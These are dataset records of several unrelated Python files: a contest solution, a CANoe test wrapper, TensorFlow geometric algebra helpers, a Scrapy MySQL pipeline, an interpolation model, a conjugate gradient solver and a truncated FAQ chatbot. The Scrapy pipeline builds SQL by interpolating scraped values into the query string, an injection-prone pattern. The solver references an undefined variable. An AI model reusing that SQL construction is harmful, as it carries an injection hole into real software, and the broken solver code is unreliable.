+{"seq_id":"205144453","text":"#-*- coding: utf-8 -*-\n\"\"\"\nNN 枚のカードがあり、ii 枚目のカードには aiai という数が書かれています。\nAlice と Bob はこれらのカードを使ってゲームを行います。ゲームでは 2 人が交互に 1 枚ずつカードを取っていきます。Alice が先にカードを取ります。\n2 人がすべてのカードを取ったときゲームは終了し、取ったカードの数の合計がその人の得点になります。2 人とも自分の得点を最大化するように最適戦略をとったとき、Alice は Bob より何点多くの得点を獲得できるかを求めてください。\n\"\"\"\n\nimport time\ndef deco(func):\n def wrapper(*args, **kwargs):\n s = time.time()\n #print('--start--')\n ret = func(*args, **kwargs)\n print('--end in %f --' % (time.time() - s) )\n return ret\n return wrapper\n\n\n@deco\ndef sol(n, A):\n print(n, A)\n score = [0, 0]\n for i in range(n):\n maxi = max(A)\n score[i % 2] += maxi\n A.remove(maxi)\n print(A, score)\n print (score[0], score[1])\n return score[0] - score[1]\n\n\n\ncases = [\n (3, [2,7,4]),\n (4, [2,7,4,5]),\n (4, [4, 4, 4, 4]),\n]\nfor i, (S) in enumerate(cases):\n print(\"case%s: S:%s\" % (i+1, S))\n n, A = S\n print(sol(n, A))\n\n\n","sub_path":"atc/abc_088_b_card_game_for_two.py","file_name":"abc_088_b_card_game_for_two.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"174437697","text":"import os\nfrom glob import glob\nfrom itertools import chain\nfrom typing import List\n\nimport cv2\nfrom nautilus.data.sample.sample import Sample\nfrom numpy.ma import array\n\nfrom nautilus.dataset.dataset import Dataset\n\n\nclass CatLoader(Dataset):\n def __init__(self,\n root_path: str,\n folders: List[str],\n max_images: int=10\n ):\n self.root_path = root_path\n self.folders = folders\n self.max_images = max_images\n\n folders = list( map(lambda fold: os.path.join(self.root_path, fold, \"*.jpg\"), folders) )\n self.list_images = list(\n chain.from_iterable(\n map(lambda fold: glob(fold), folders)\n )\n )\n\n if self.max_images:\n self.list_images = self.list_images[:self.max_images]\n\n def __len__(self):\n return len(self.list_images)\n\n def __getitem__(self, item: int)->Sample:\n image_file = self.list_images[item]\n\n with open(image_file + \".cat\", \"r\") as f:\n content = f.read()\n\n pos = [int(e) for e in content.split(\" \") if e != '']\n\n pos = array(pos)[1:]\n\n x = pos[::2]\n\n y = pos[1::2]\n\n xmin, xmax = x.min(), x.max()\n ymin, ymax = y.min(), y.max()\n\n return Sample(\n x=cv2.imread(image_file),\n y=array([xmin, xmax, ymin, ymax])\n )\n\n\n\n","sub_path":"examples/cat_detection/data/cat_loader.py","file_name":"cat_loader.py","file_ext":"py","file_size_in_byte":1403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"441426098","text":"import time, os, msvcrt\nfrom win32com.client import *\nfrom win32com.client.connect import *\n\ndef DoEvents():\n pythoncom.PumpWaitingMessages()\n time.sleep(.1)\n\ndef DoEventsUntil(cond):\n while not cond():\n DoEvents()\n\nclass CanoeSync(object):\n \"\"\"Wrapper class for CANoe Application object\"\"\"\n Started = False\n Stopped = False\n ConfigPath = \"\"\n\n def __init__(self):\n app = DispatchEx('CANoe.Application')\n app.Configuration.Modified = False\n ver = app.Version\n print('Loaded CANoe version ',\n ver.major, '.',\n ver.minor, '.',\n ver.Build, '...', sep='')\n self.App = app\n self.Measurement = app.Measurement\n self.Running = lambda: self.Measurement.Running\n self.WaitForStart = lambda: DoEventsUntil(lambda: CanoeSync.Started)\n self.WaitForStop = lambda: DoEventsUntil(lambda: CanoeSync.Stopped)\n WithEvents(self.App.Measurement, CanoeMeasurementEvents)\n\n self.testResul_all = [] # 用于统计测试结果\n\n def Start(self):\n if not self.Running():\n self.Measurement.Start()\n self.WaitForStart()\n\n def Stop(self):\n if self.Running():\n self.Measurement.Stop()\n self.WaitForStop()\n\n def Load(self, cfgPath):\n # current dir must point to the script file\n cfg = os.path.join(os.curdir, cfgPath)\n cfg = os.path.abspath(cfg)\n print('Opening: ', cfg)\n self.ConfigPath = os.path.dirname(cfg)\n self.Configuration = self.App.Configuration\n self.App.Open(cfg)\n\n def LoadTestSetup(self, testsetup):\n self.TestSetup = self.App.Configuration.TestSetup\n print(self.ConfigPath)\n path = os.path.join(self.ConfigPath, testsetup)\n print(\"传入的tse路径:\", path)\n # 如果目标 tse 已存在,直接读取,否则添加它,如果已经存在,直接add的话会报错\n tse_count = self.TestSetup.TestEnvironments.Count\n print(\"add前tse数量:\",tse_count)\n _existTse = False\n for _index_tse in range(1, tse_count + 1):\n if self.TestSetup.TestEnvironments.Item(_index_tse).FullName == path:\n testenv = self.TestSetup.TestEnvironments.Item(_index_tse)\n _existTse = True\n break\n if _existTse == False:\n testenv = self.TestSetup.TestEnvironments.Add(path)\n\n print(\"add后tse数量:\", self.TestSetup.TestEnvironments.Count)\n\n testenv = CastTo(testenv, \"ITestEnvironment2\")\n # TestModules property to access the test modules\n self.TestModules = []\n self.TraverseTestItem(testenv, lambda tm: self.TestModules.append(CanoeTestModule(tm)))\n\n def TraverseTestItem(self, parent, testf):\n for test in parent.TestModules:\n testf(test)\n for folder in parent.Folders:\n found = self.TraverseTestItem(folder, testf)\n\n def RunTestModules(self):\n \"\"\" starts all test modules and waits for all of them to finish\"\"\"\n # start all test modules\n\n for subtm in self.TestModules:\n subtm.Start()\n while not subtm.IsDone():\n DoEvents()\n\n for i in range(1, subtm.tm.Sequence.Count + 1):\n self.StatisticTesResult(subtm, subtm.tm.Sequence.Item(i))\n # 统计测试结果\n import pandas as pd\n df = pd.DataFrame(self.testResul_all,columns=['TestModule', 'TestGroup', 'TestCae','TestResult'])\n print(df)\n\n def StatisticTesResult(self, tm, tx):\n \"\"\"\n Summary test case result\n :para tx: test group or case.\n :para tg: test group\n :para tc: test case\n \"\"\"\n tg = CastTo(tx, \"ITestGroup\")\n try:\n _count = tg.Sequence.Count\n except Exception: # test case\n tc = CastTo(tx, \"ITestCase\")\n self.testResul_all.append( [tm.Name, tg.Name, tc.Name, str(tc.Verdict)])\n else: # test group\n for j in range(1, _count + 1):\n self.StatisticTesResult(tm, tg.Sequence.Item(j))\n\n\n def SetTestModulesPath(self, log_path):\n for subtm in self.TestModules:\n report_name = subtm.tm.Report.Name + \".xml\"\n fullname = os.path.join(log_path, report_name)\n report = subtm.tm.Report\n report.FullName = fullname\n print(\"report.FullName :\", report.FullName)\n def SetLogging(self):\n \"\"\"修改当前 logging 文件为默认(temp.blf)。\"\"\"\n for i in range(1, self.Configuration.OnlineSetup.LoggingCollection.Count + 1):\n print(\"**********\",self.Configuration.OnlineSetup.LoggingCollection(i).FullName)\n filepath, tmpfilename = os.path.split(self.Configuration.OnlineSetup.LoggingCollection(i).FullName)\n _log_fullName = os.path.join(filepath, 'temp.blf')\n if os.path.exists(_log_fullName):\n os.remove(_log_fullName)\n try:\n self.Configuration.OnlineSetup.LoggingCollection(i).FullName = _log_fullName\n except Exception as e:\n print(e)\n else:\n self.logging = self.Configuration.OnlineSetup.LoggingCollection(i)\n self.temp_logName = self.logging.FullName\n print(\"**********\", self.Configuration.OnlineSetup.LoggingCollection(i).FullName)\nclass CanoeTestModule:\n \"\"\"Wrapper class for CANoe TestModule object\"\"\"\n def __init__(self, tm):\n self.tm = tm\n self.Events = DispatchWithEvents(tm, CanoeTestEvents)\n self.Name = tm.Name\n self.FullName = tm.FullName\n self.Path = tm.Path\n self.IsDone = lambda: self.Events.stopped\n self.Enabled = tm.Enabled\n\n def Start(self):\n if self.tm.Enabled:\n self.tm.Start()\n self.Events.WaitForStart()\n def WaitReportGenerate(self):\n if self.tm.Enabled:\n self.Events.WaitForReportGenerated()\nclass CanoeTestEvents:\n \"\"\"Utility class to handle the test events\"\"\"\n def __init__(self):\n self.started = False\n self.stopped = False\n self.reportGenerated = False\n self.WaitForStart = lambda: DoEventsUntil(lambda: self.started)\n self.WaitForStop = lambda: DoEventsUntil(lambda: self.stopped)\n self.WaitForReportGenerated = lambda: DoEventsUntil(lambda: self.reportGenerated)\n\n def OnStart(self):\n self.started = True\n self.stopped = False\n self.reportGenerated = False\n print(\"<\", self.Name, \" started >\")\n def OnStop(self, reason):\n self.started = False\n self.stopped = True\n print(\"<\", self.Name, \" stopped >\")\n def OnReportGenerated(self, success, sourceFullName, generatedFullName):\n self.reportGenerated = True\n print(\":\", sourceFullName)\n # print(success)\n # print(generatedFullName)\n # print(sourceFullName)\n\n\nclass CanoeMeasurementEvents(object):\n \"\"\"Handler for CANoe measurement events\"\"\"\n def OnStart(self):\n CanoeSync.Started = True\n CanoeSync.Stopped = False\n print(\"< measurement started >\")\n\n def OnStop(self):\n CanoeSync.Started = False\n CanoeSync.Stopped = True\n print(\"< measurement stopped >\")\n\ndef main():\n Tester = CanoeSync()\n Tester.Load(r'../bmw2.cfg')\n Tester.LoadTestSetup(\"TestModule/bmwTest_xml_2.tse\")\n Tester.SetTestModulesPath(os.path.join(Tester.ConfigPath, r\"TestReport\"))\n Tester.SetLogging()\n Tester.Start()\n Tester.RunTestModules()\n Tester.Stop()\nif __name__ == \"__main__\":\n main()\n","sub_path":"PythonScript/Python调用CANoe(3)(测试报告配置与统计).py","file_name":"Python调用CANoe(3)(测试报告配置与统计).py","file_ext":"py","file_size_in_byte":7702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"386112178","text":"import tensorflow as tf\n\n@tf.custom_gradient\ndef custom_norm(x):\n \"\"\"Calculate the norm of a set of vector-like quantities, with some\n numeric stabilization applied to the gradient.\"\"\"\n y = tf.linalg.norm(x, axis=-1, keepdims=True)\n\n def grad(dy):\n return dy * (x / (y + 1e-19))\n\n return y, grad\n\ndef bivec_dual(b):\n \"\"\"scalar + bivector -> vector + trivector\n\n Calculates the dual of an input value, expressed as (scalar,\n bivector) with basis (1, e12, e13, e23).\n\n \"\"\"\n swizzle = tf.constant([\n [0, 0, 0, -1],\n [0, 0, 1, 0],\n [0, -1, 0, 0],\n [1, 0, 0, 0]\n ], dtype=b.dtype)\n return tf.tensordot(b, swizzle, 1)\n\ndef vecvec(a, b):\n \"\"\"vector*vector -> scalar + bivector\n\n Calculates the product of two vector inputs with basis (e1, e2,\n e3). Produces a (scalar, bivector) output with basis (1, e12, e13,\n e23).\n\n \"\"\"\n products = a[..., tf.newaxis]*b[..., tf.newaxis, :]\n old_shape = tf.shape(products)\n new_shape = tf.concat([old_shape[:-2], [9]], -1)\n products = tf.reshape(products, new_shape)\n # 0 1 2\n # 3 4 5\n # 6 7 8\n swizzle = tf.constant([\n [1, 0, 0, 0],\n [0, 1, 0, 0],\n [0, 0, 1, 0],\n [0, -1, 0, 0],\n [1, 0, 0, 0],\n [0, 0, 0, 1],\n [0, 0, -1, 0],\n [0, 0, 0, -1],\n [1, 0, 0, 0],\n ], dtype=products.dtype)\n return tf.tensordot(products, swizzle, 1)\n\ndef vecvec_invariants(p):\n \"\"\"Calculates rotation-invariant attributes of a (scalar, bivector) quantity.\n\n Returns a 2D output: the scalar and norm of the bivector.\n\n \"\"\"\n result = [p[..., :1], custom_norm(p[..., 1:4])]\n return tf.concat(result, axis=-1)\n\ndef vecvec_covariants(p):\n \"\"\"Calculates rotation-covariant attributes of a (scalar, bivector) quantity.\n\n Converts the bivector to a vector by taking the dual.\n\n \"\"\"\n dual = bivec_dual(p)\n return dual[..., :3]\n\ndef bivecvec(p, c):\n \"\"\"(scalar + bivector)*vector -> vector + trivector\n\n Calculates the product of a (scalar + bivector) and a vector. The\n two inputs are expressed in terms of the basis (1, e12, e13, e23)\n and (e1, e2, e3); the output is expressed in terms of the basis\n (e1, e2, e3, e123).\n\n \"\"\"\n products = p[..., tf.newaxis]*c[..., tf.newaxis, :]\n old_shape = tf.shape(products)\n new_shape = tf.concat([old_shape[:-2], [12]], -1)\n products = tf.reshape(products, new_shape)\n # 0 1 2\n # 3 4 5\n # 6 7 8\n # 9 10 11\n swizzle = tf.constant([\n [1, 0, 0, 0],\n [0, 1, 0, 0],\n [0, 0, 1, 0],\n [0, -1, 0, 0],\n [1, 0, 0, 0],\n [0, 0, 0, 1],\n [0, 0, -1, 0],\n [0, 0, 0, -1],\n [1, 0, 0, 0],\n [0, 0, 0, 1],\n [0, 0, -1, 0],\n [0, 1, 0, 0],\n ], dtype=products.dtype)\n return tf.tensordot(products, swizzle, 1)\n\ndef bivecvec_invariants(q):\n \"\"\"Calculates rotation-invariant attributes of a (vector, trivector) quantity.\n\n Returns a 2D output: the norm of the vector and the trivector.\n\n \"\"\"\n result = [custom_norm(q[..., :3]), q[..., 3:4]]\n return tf.concat(result, axis=-1)\n\ndef bivecvec_covariants(q):\n \"\"\"Calculates rotation-covariant attributes of a (vector, trivector) quantity.\n\n Returns the vector.\n\n \"\"\"\n return q[..., :3]\n\ndef trivecvec(q, d):\n \"\"\"(vector + trivector)*vector -> scalar + bivector\n\n Calculates the product of a (vector + trivector) and a vector. The\n two inputs are expressed in terms of the basis (e1, e2, e3, e123)\n and (e1, e2, e3); the output is expressed in terms of the basis\n (1, e12, e13, e23).\n\n \"\"\"\n products = q[..., tf.newaxis]*d[..., tf.newaxis, :]\n old_shape = tf.shape(products)\n new_shape = tf.concat([old_shape[:-2], [12]], -1)\n products = tf.reshape(products, new_shape)\n # 0 1 2\n # 3 4 5\n # 6 7 8\n # 9 10 11\n swizzle = tf.constant([\n [1, 0, 0, 0],\n [0, 1, 0, 0],\n [0, 0, 1, 0],\n [0, -1, 0, 0],\n [1, 0, 0, 0],\n [0, 0, 0, 1],\n [0, 0, -1, 0],\n [0, 0, 0, -1],\n [1, 0, 0, 0],\n [0, 0, 0, 1],\n [0, 0, -1, 0],\n [0, 1, 0, 0],\n ], dtype=products.dtype)\n return tf.tensordot(products, swizzle, 1)\n\ntrivecvec_invariants = vecvec_invariants\n\ntrivecvec_covariants = vecvec_covariants\n","sub_path":"geometric_algebra_attention/tensorflow/geometric_algebra.py","file_name":"geometric_algebra.py","file_ext":"py","file_size_in_byte":4329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"131989729","text":"# -*- coding: utf-8 -*-\nimport MySQLdb\nimport MySQLdb.cursors\nfrom twisted.enterprise import adbapi\nfrom scrapy.utils.project import get_project_settings\n# import shortuuid\n# import uuid\n\n\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html\n'''\n\n'''\nSETTINGS = get_project_settings()\n\nclass BrotherwatchingPipeline(object):\n\n def __init__(self):\n self.dbpool = adbapi.ConnectionPool ('MySQLdb',\n host=SETTINGS['DB_HOST'],\n user=SETTINGS['DB_USER'],\n passwd=SETTINGS['DB_PASSWD'],\n port=SETTINGS['DB_PORT'],\n db=SETTINGS['DB_DB'],\n charset='utf8',\n use_unicode = True,\n cursorclass=MySQLdb.cursors.DictCursor\n )\n\n def __del__(self):\n self.dbpool.close()\n\n def process_item(self,item,spider):\n sql='INSERT IGNORE INTO app_review (%s) VALUES (%s)'\n keys = item.keys()\n rows=', '.join(keys)\n values = ','.join(['\\'%s\\'' % item[k] for k in keys])\n self.dbpool.runOperation(sql % (rows,values))\n return item\n","sub_path":"BrotherWatching/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"445210687","text":"# -*- coding: utf-8 -*-\n\"\"\"Simple models for super resolution such as linear interp models.\"\"\"\nimport numpy as np\nimport logging\nfrom inspect import signature\nimport os\nimport json\nfrom sup3r.utilities.utilities import st_interp\nfrom sup3r.models.abstract import AbstractInterface\n\nlogger = logging.getLogger(__name__)\n\n\nclass LinearInterp(AbstractInterface):\n \"\"\"Simple model to do linear interpolation on the spatial and temporal axes\n \"\"\"\n\n def __init__(self, features, s_enhance, t_enhance, t_centered=False):\n \"\"\"\n Parameters\n ----------\n features : list\n List of feature names that this model will operate on for both\n input and output. This must match the feature axis ordering in the\n array input to generate().\n s_enhance : int\n Integer factor by which the spatial axes is to be enhanced.\n t_enhance : int\n Integer factor by which the temporal axes is to be enhanced.\n t_centered : bool\n Flag to switch time axis from time-beginning (Default, e.g.\n interpolate 00:00 01:00 to 00:00 00:30 01:00 01:30) to\n time-centered (e.g. interp 01:00 02:00 to 00:45 01:15 01:45 02:15)\n \"\"\"\n\n self._features = features\n self._s_enhance = s_enhance\n self._t_enhance = t_enhance\n self._t_centered = t_centered\n\n @classmethod\n def load(cls, model_dir, verbose=False):\n \"\"\"Load the LinearInterp model with its params saved to the model_dir\n created with LinearInterp.save(model_dir)\n\n Parameters\n ----------\n model_dir : str\n Directory to load LinearInterp model files from. Must\n have a model_params.json file containing \"meta\" key with all of the\n class init args.\n verbose : bool\n Flag to log information about the loaded model.\n\n Returns\n -------\n out : LinearInterp\n Returns an initialized LinearInterp model\n \"\"\"\n fp_params = os.path.join(model_dir, 'model_params.json')\n assert os.path.exists(fp_params), f'Could not find: {fp_params}'\n with open(fp_params, 'r') as f:\n params = json.load(f)\n\n meta = params['meta']\n args = signature(cls.__init__).parameters\n kwargs = {k: v for k, v in meta.items() if k in args}\n model = cls(**kwargs)\n\n if verbose:\n logger.info('Loading LinearInterp with meta data: {}'\n .format(model.meta))\n\n return model\n\n @property\n def meta(self):\n \"\"\"Get meta data dictionary that defines the model params\"\"\"\n return {'features': self._features,\n 's_enhance': self._s_enhance,\n 't_enhance': self._t_enhance,\n 't_centered': self._t_centered,\n 'training_features': self.training_features,\n 'output_features': self.output_features,\n 'class': self.__class__.__name__,\n }\n\n @property\n def training_features(self):\n \"\"\"Get the list of input feature names that the generative model was\n trained on.\n \"\"\"\n return self._features\n\n @property\n def output_features(self):\n \"\"\"Get the list of output feature names that the generative model\n outputs\"\"\"\n return self._features\n\n def save(self, out_dir):\n \"\"\"\n Parameters\n ----------\n out_dir : str\n Directory to save linear model params. This directory will be\n created if it does not already exist.\n \"\"\"\n self.save_params(out_dir)\n\n # pylint: disable=unused-argument\n def generate(self, low_res, norm_in=False, un_norm_out=False,\n exogenous_data=None):\n \"\"\"Use the generator model to generate high res data from low res\n input. This is the public generate function.\n\n Parameters\n ----------\n low_res : np.ndarray\n Low-resolution spatiotemporal input data, a 5D array of shape:\n (n_obs, spatial_1, spatial_2, temporal, n_features)\n norm_in : bool\n This doesnt do anything for this LinearInterp, but is\n kept to keep the same interface as Sup3rGan\n un_norm_out : bool\n This doesnt do anything for this LinearInterp, but is\n kept to keep the same interface as Sup3rGan\n exogenous_data : list\n This doesnt do anything for this LinearInterp, but is\n kept to keep the same interface as Sup3rGan\n\n Returns\n -------\n hi_res : ndarray\n high-resolution spatial output data, a 5D array of shape:\n (n_obs, spatial_1, spatial_2, temporal, n_features)\n \"\"\"\n\n hr_shape = (len(low_res),\n int(low_res.shape[1] * self._s_enhance),\n int(low_res.shape[2] * self._s_enhance),\n int(low_res.shape[3] * self._t_enhance),\n len(self.output_features))\n logger.debug('LinearInterp model with s_enhance of {} '\n 'and t_enhance of {} '\n 'downscaling low-res shape {} to high-res shape {}'\n .format(self._s_enhance, self._t_enhance,\n low_res.shape, hr_shape))\n\n hi_res = np.zeros(hr_shape, dtype=np.float32)\n\n for iobs in range(len(low_res)):\n for idf in range(low_res.shape[-1]):\n hi_res[iobs, ..., idf] = st_interp(low_res[iobs, ..., idf],\n self.s_enhance,\n self.t_enhance,\n t_centered=self._t_centered)\n\n return hi_res\n","sub_path":"sup3r/models/linear.py","file_name":"linear.py","file_ext":"py","file_size_in_byte":5814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"496769857","text":"import math\nfrom neuron import neuron\nclass layer:\n def __init__(self, size, numIn):\n w_initialization = [0 - math.sqrt(1 / numIn), math.sqrt(1 / numIn)]\n neurons = []\n for i in range(size):\n neurons.append(neuron(0, numIn, w_initialization))\n\n self.neurons = neurons\n self.size = size\n self. numIn = numIn\n \n def activate(self, inputValues):\n if len(inputValues) != self.numIn:\n print(\"Error: Number of inputs does not match layer input parametres\")\n return None\n\n for neuronIndex in range(len(self.neurons)):\n self.neurons[neuronIndex].activate(inputValues)","sub_path":"layer.py","file_name":"layer.py","file_ext":"py","file_size_in_byte":668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"424171389","text":"import math as m\nimport numpy as np\n\nMAX_ITERATIONS = 1000\nPRECISION = 10**(-10)\n\n\ndef cholesky_incomplet(A):\n #Algorithme de factorisation de Cholesky incomplète\n n = len(A)\n T = np.zeros((n,n))\n T[0][0] = np.sqrt(A[0][0])\n for i in range(n):\n s = 0\n if (A[i][i] != 0):\n for k in range(i):\n s += T[i][k]**2\n T[i][i] = np.sqrt(A[i][i] - s)\n for j in range(i,n):\n if (A[j][i] != 0):\n s = 0\n for k in range(i):\n s += T[i][k] * T[j][k]\n T[j][i] = (A[i][j] - s)/T[i][i]\n return T\n\n#T une matrice triangulaire superieur à coefficients diagonaux non nuls\n#Renvoie x solution de Tx = y\ndef remontee(T, y):\n length = len(T)\n x = np.copy(y)\n for i in reversed(range(length)):\n for j in reversed(range(i + 1, length)):\n x[i] -= T[i, j]*x[j]\n x[i] = x[i] / T[i, i]\n return x\n\n#T1 une matrice triangulaire inferieur à coefficients diagnaux non nuls\n#Renvoie y solution de T1y = b\ndef descente(T1, b):\n length = len(T1)\n y = np.copy(b)\n for i in range(length):\n for j in range(i):\n y[i] -= T1[i, j]*y[j]\n y[i] = y[i] / T1[i, i]\n return y\n\n#Calcule par la méthode du gradient conjugué avec preconditionneur la solution du système linéaire\n#Précondition A symétrique définie positive\ndef pred_conjgrad(A, b, x):\n T = cholesky_incomplet(A)\n r0 = b - A.dot(x)\n z0 = remontee(np.transpose(T), descente(T, r0))\n p = z0\n for i in range(1, MAX_ITERATIONS):\n alpha = (np.transpose(r0).dot(z0)) / (np.transpose(p).dot(A.dot(p)))\n x = x + alpha*p\n r1 = r0 - alpha*(A.dot(p))\n if (np.linalg.norm(r1) < PRECISION):\n break\n z1 = remontee(np.transpose(T), descente(T, r1))\n beta = (np.transpose(z1).dot(r1)) / (np.transpose(z).dot(r0))\n p = z1 + beta*p\n z0 = z1\n r0 = r1\n return x\n\n##### TEST_REMONTEE et DESCENTE #######\n\ndef test_simple_descente():\n T = np.array([[ 4, 0, 0 ],[ 1, 1.5, 0 ], [ -4, 1, 2 ]])\n b = np.array([-4, 2, 8])\n sol = np.array([-1, 2, 1])\n if ((descente(T, b) == sol).all()):\n print(\"Test Descente: Success\")\n else:\n print(\"Test Descente: Error\")\n \ndef test_simple_remonte():\n T = np.array([[ 2, 1, -4 ],[ 0, 1.5, 1 ], [ 0, 0, 4 ]])\n b = np.array([8, 2,-4])\n sol = np.array([1, 2, -1])\n if ((remontee(T, b) == sol).all()):\n print(\"Test Remontée: Success\")\n else:\n print(\"Test Remontée: Error\")\n \ntest_simple_remonte() \ntest_simple_descente()\n\n##### TEST_PRED_CONJGRAD#####\ndef solve_pred_conjgrad (A, b) :\n x = np.array([[1.], [1.]])\n return pred_conjgrad(A, b, x)\n\ndef tests_pred_conjgrad () :\n A1 = np.array([[4, 1],[1, 3]])\n b1 = np.array([[1], [2]])\n print(solve_pred_conjgrad(A1, b1))\n\nprint(\"tests_pred_conjgrad :\")\ntests_pred_conjgrad()\n\n","sub_path":"pred_gradconj.py","file_name":"pred_gradconj.py","file_ext":"py","file_size_in_byte":2981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"400495010","text":"import nltk\nimport string\nimport random\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.metrics.pairwise import cosine_similarity,euclidean_distances\nfrom nltk.stem import PorterStemmer\nimport operator\nfrom collections import Counter\nimport re\nimport math\nimport re\nimport gensim\nfrom gensim.parsing.preprocessing import remove_stopwords\nimport pandas as pd\nfrom gensim import corpora\nfrom sklearn.metrics.pairwise import cosine_similarity,euclidean_distances,manhattan_distances\nimport numpy as np\nfrom nltk.stem import WordNetLemmatizer\n \nwnl = WordNetLemmatizer()\n\n\ndf=pd.read_csv('chatbot/Faqs_pdeu.csv')\ndf.head()\n\ndef get_euclid(a,b):\n return math.sqrt(sum((a[k] - b[k])**2 for k in set(a.keys()).intersection(set(b.keys()))))\ndef get_man(a,b):\n return (sum((a[k] - b[k])**2 for k in set(a.keys()).intersection(set(b.keys()))))\ndef get_cosine(vec1, vec2):\n intersection = set(vec1.keys()) & set(vec2.keys())\n numerator = sum([vec1[x] * vec2[x] for x in intersection])\n\n sum1 = sum([vec1[x] ** 2 for x in list(vec1.keys())])\n sum2 = sum([vec2[x] ** 2 for x in list(vec2.keys())])\n denominator = math.sqrt(sum1) * math.sqrt(sum2)\n\n if not denominator:\n return 0.0\n else:\n return float(numerator) / denominator\n\ndef text_to_vector(text):\n words = WORD.findall(text)\n return Counter(words)\n\n\nWORD = re.compile(r\"\\w+\")\nf=open('chatbot/pdeu.txt','r',encoding='utf-8',errors='ignore')\nraw=f.read()\nraw=raw.lower()\n#print(raw)\nsent_tokens=nltk.sent_tokenize(raw)\n# print(sent_tokens)\nsent_tokens=[x.replace('\\n','') for x in sent_tokens]\n#print('------sent_tokens-----')\n#print(sent_tokens)\n\nword_tokens=nltk.word_tokenize(raw)\nlemmer=nltk.stem.WordNetLemmatizer()\n#print(sent_tokens)\n#print(len(sent_tokens))\n\ndef lemmatize(tokens):\n return [lemmer.lemmatize(token) for token in tokens]\nremove_punct_dict=dict((ord(punct),None) for punct in string.punctuation)\ndef normalize(text):\n return lemmatize(nltk.word_tokenize(text.lower().translate(remove_punct_dict)))\n\n\ndef greet(sent):\n greet_resp=[\"hello welcome!!\",\"hi how are you?\",\"Pleasure to hear from you!!!\",\"Hello sir\",\"nice to meet you sir!!!\",\"What can I do for you?\"]\n greet_inp=['hii','heyaa','hello','hey there',\"hi\",\"hey\",\"hello\",\"howdy\",\"how are you?\"]\n if sent in [\"good morning\",\"good afternoon\",\"good evening\"]:\n return f\"hello , {sent}\"\n if sent==\"good night\":\n return \"good night\"\n\n if(sent[-1]=='?'):\n sent=sent[:-1]\n ps = PorterStemmer()\n arr=sent.split(' ')\n arr=[ps.stem(i) for i in arr]\n print('\\n\\n----------------------------------',arr,'\\n\\n')\n if('see' and 'you') in arr:\n return 'Talk to you Later'\n elif 'goodby' in arr or 'bye' in arr:\n return 'Good Bye :)'\n elif 'accredit' in arr and 'colleg' in arr:\n return 'Yes'\n elif 'instal' in arr and 'fee' in arr and 'pay' in arr:\n return 'Yes You can pay fees in two installmensts'\n elif 'hour' in arr and ('work' in arr or 'oper' in arr):\n return 'We are open 9:00am-4:00pm Monday-friday!'\n elif ('field' in arr or 'branch' in arr) and 'different' in arr and 'colleg' in arr:\n return '\"Petroleum Technology-120,Mechanical Engineering-120,Electrical Engineering-120,Civil Engineering-120,Chemical Engineering-120,Computer Science-60,Information and Communication Technology-60\".'\n elif ('cse' in arr or 'mechan' in arr or 'chemica' in arr or 'electr' in arr or 'comput' in arr or 'scienc' in arr or 'inform' or 'commun' in arr or 'technolg' in arr or 'petroleum' in arr) and 'subject' in arr:\n return 'You can check all this course related information from our website !'\n elif 'payment' in arr and 'fee' in arr and 'avail' in arr:\n return 'cheque,debit card,netbanking,credit card are acceptable. NEFT is preferable'\n elif 'is' in arr and 'transportation' in arr and 'avail' in arr:\n return 'Yes , bus service is available.'\n elif 'hostel' in arr and 'facil' in arr and 'avail' in arr:\n return 'Yes! we provide telephone , internet , AC , first-aid , reading , dining , security all this facility in hostel'\n elif 'transportation' in arr and 'fee' in arr:\n return 'transportaion fees of our college is 10500 per semester'\n elif 'semest'in arr and 'fee' in arr:\n return 'fees of our college is 110000 per semester!'\n elif 'chairman' in arr and 'who' in arr and 'colleg' in arr:\n return 'Mukesh Ambani is chairman of our college'\n elif 'is' in arr and 'under' in arr and 'gtu' in arr:\n return 'No, our college doesnt come under GTU.'\n elif 'scholarship' in arr and 'criteria' in arr:\n return 'you can check out at :: https://www.pdpu.ac.in/downloads/Financial%20Assistance%202019.pdf'\n\n for word in sent.split():\n if word.lower() in greet_inp:\n return random.choice(greet_resp)\n return None\n\n#Searching in file\n# Response for searching in file using TF-IDF\ndef resp(user_inp):\n ans,ind,hue=[],[],3\n tfidvec=TfidfVectorizer(tokenizer=normalize,stop_words='english')\n tfid=tfidvec.fit_transform(sent_tokens)\n\n vals=cosine_similarity(tfid[-1],tfid)\n d={}\n for i in range(0,len(vals[0])):\n \td[i]=vals[0][i]\n sorted_d = dict( sorted(d.items(), key=operator.itemgetter(1),reverse=True))\n for (key,val) in sorted_d.items():\n \tif(hue>0 and val>0):\n \t\tind.append(key)\n \telse:\n \t\tbreak\n \thue-=1\n flat=vals.flatten()\n \n flat=sorted(flat,reverse=True)\n req_tfid=flat[0]\n if(req_tfid==0):\n ans=ans+\"I am sorry! I don't understand you\" \n else:\n for index in ind: \n ans.append(sent_tokens[index])\n ans1=''\n for statements in ans:\n ans1=ans1+str(statements)\n ans1+='\\n'\n return ans1\n\ndef clean_sent(sent,stopwords=False):\n sent=sent.lower().strip()\n sent=re.sub(r'[^a-z0-9\\s]','',sent)\n if stopwords:\n sent=remove_stopwords(sent)\n return sent \n\ndef get_clean_sent(df,stopwords=False):\n sents=df[['Questions']]\n cleaned_sent=[]\n for index,row in df.iterrows():\n cleaned=clean_sent(row['Questions'],stopwords)\n cleaned=cleaned.lower()\n cleaned_sent.append(\" \".join([wnl.lemmatize(i) for i in cleaned.split()]))\n return cleaned_sent\n\n#Glove model\ndef 